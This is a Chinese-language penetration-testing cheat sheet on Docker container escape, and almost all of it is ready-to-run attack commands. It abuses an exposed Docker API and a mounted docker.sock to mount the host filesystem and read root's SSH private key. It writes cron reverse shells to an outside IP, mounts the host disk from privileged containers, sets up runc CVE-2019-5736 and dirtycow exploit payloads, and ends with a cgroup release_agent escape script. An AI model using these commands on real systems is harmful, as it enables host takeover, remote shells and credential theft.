逃逸
最后更新于
最后更新于
一个工具https://github.com/stealthcopter/deepce
二个工具https://github.com/gabrtv/shocker
检查/.dockerenv文件是否存在
检查/proc/1/cgroup内是否包含"docker"等字符串。
mount、fdisk -l查看硬盘 、判断PID 1的进程名
挂载点/在宿主/mnt目录
>docker -H tcp://10.1.1.1:2375 run -it -v /:/mnt nginx:latest /bin/bash
容器内执行
>echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.2/4444 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地监听4444,获得宿主机shell
Docker.sock 是一个 Unix 套接字,它使 Docker 服务器端守护进程 dockerd 能够通过 REST API 与其命令行接口进行通信。 套接字显示为 /var/run/docker.sock 文件。 因为它是一个文件,管理员可以在容器中共享和运行 docker.sock,然后使用它与该容器进行通信。 运行 docker.sock 的容器可以启动或停止其他容器,在主机上创建镜像或写入主机文件系统。 这一切意味着当您运行“docker”命令行工具时,它实际上是在与 docker 套接字通信。
有时开发人员会将 docker 套接字安装在 docker 容器内,以便他们可以管理其他容器。 这通常使用以下命令完成::
docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest
注意“-v /var/run/docker.sock:/var/run/docker.sock”选项,这个标志将在 docker 容器内挂载 docker 套接字。 攻击者所要做的就是下载 docker CLI,他们将完全控制 docker API,这将允许他们删除容器、创建容器、执行命令或其他任何他们想要的东西
容器内找到docker.sock
>find / -name docker.sock
容器内查看宿主机信息
>docker -H unix:///var/位置 info
运行一个容器挂载宿主机根路径
>docker -H unix:///var/位置 run -it -v /:/test ubuntu /bin/bash
查看宿主机文件
>ls /test
手动操作
查看可用的镜像
curl --unix-socket docker.sock http://localhost/images/json -s
创建一个容器
curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"Hostname": "", "Domainname": "", "User": "", "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Tty": true, "OpenStdin": true, "StdinOnce": true, "Entrypiont": "/bin/sh", "Image": "容器名称", "Volumes": {"/host/": {}}, "HostConfig": {"Binds": ["/:/host"]}}' http://localhost/containers/create
启动容器
curl --unix-socket docker.sock -s -X POST http://localhost/containers/容器ID/start
创建任务
curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["ls", "/host/"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
任务回显
curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start -o-
列出root .ssh目录
curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["ls", "/host/root/.ssh"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
查看回显
curl --unix-socket docker.sock -o- -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start
创建任务
curl --unix-socket docker.sock -s -H 'Content-Type: application/json' -d '{"AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/host/root/.ssh/id_rsa"], "Privileged": true, "Tty": true }' http://localhost/containers/容器ID/exec
查看私钥
curl --unix-socket docker.sock -o- -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": false}' http://localhost/exec/任务ID/start
Docker image如果使用“--privileged”标志运行,该标志禁用 Docker 提供的所有保护和隔离。运行“fdisk -l”并接收输出,可认为特权身份允许。
剩下要做的就是将主机文件系统挂载到“/dev/sda1”
>mkdir /test
>mount /dev/sda1 /test,读取宿主机文件。
写入计划任务
>echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.2/4444 0>&1' >> /test/var/spool/cron/crontabs/root
本地监听返回shell
或挂在root目录后写入私钥文件
>docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
>mkdir /root/.ssh
>cat id_rsa.pub >> /root/.ssh/authorized_keys
还可以尝试以下 POC 漏洞利用代码:
条件Docker < 18.09.2,runc< 1.0-rc6(docker ;docker-runc查看版本)
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
>vim main.go
>payload = "#!/bin/bash \n bash -i >& /dev/tcp/YOURIP/1234 0>&1"
编译
>CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
复制到容器上执行
管理员通过exec进入容器,触发Payload
>git clone https://github.com/gebl/dirtycow-docker-vdso.git
>cd dirtycow-docker-vdso/
>sudo docker-compose run dirtycow /bin/bash
>cd /dirtycow-vdso/
>make
>./xx YOURIP:1234
CAP_SYS_ADMIN
CAP_SYS_PTRACE
CAP_SYS_MODULE
CAP_DAC_READ_SEARCH
CAP_DAC_OVERRIDE
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o